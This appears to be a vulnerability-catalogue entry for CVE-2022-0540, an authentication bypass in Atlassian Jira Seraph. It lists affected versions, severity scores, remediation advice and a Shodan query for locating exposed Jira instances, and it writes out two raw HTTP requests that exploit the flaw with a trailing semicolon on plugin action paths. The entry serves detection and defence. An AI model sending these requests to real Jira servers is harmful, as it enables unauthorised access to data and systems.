| Title | Atlassian Jira Seraph - Authentication Bypass |
|---|---|
| Author | DhiyaneshDK |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, modification of data, and potential disruption of business operations. |
| Remediation | Ensure you are using the latest version and that all security patches have been applied. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92291 |
| CVE ID | CVE-2022-0540 |
| CWE ID | CWE-287 |
| Shodan Query | http.component:"Atlassian Jira"http.component:"atlassian jira" |
| Tags | cve cve2022 atlassian jira exposure auth-bypass vkev vuln |
Jira Seraph allows a remote, unauthenticated attacker to bypass authentication by sending a specially crafted HTTP request. This affects Atlassian Jira Server and Data Center versions before 8.13.18, versions 8.14.0 and later before 8.20.6, and versions 8.21.0 and later before 8.22.0. This also affects Atlassian Jira Service Management Server and Data Center versions before 4.13.18, versions 4.14.0 and later before 4.20.6, and versions 4.21.0 and later before 4.22.0.
GET /InsightPluginShowGeneralConfiguration.jspa; HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /secure/WBSGanttManageScheduleJobAction.jspa; HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; arm64 Mac OS X 12_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0540.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0540.pcap
N/AN/A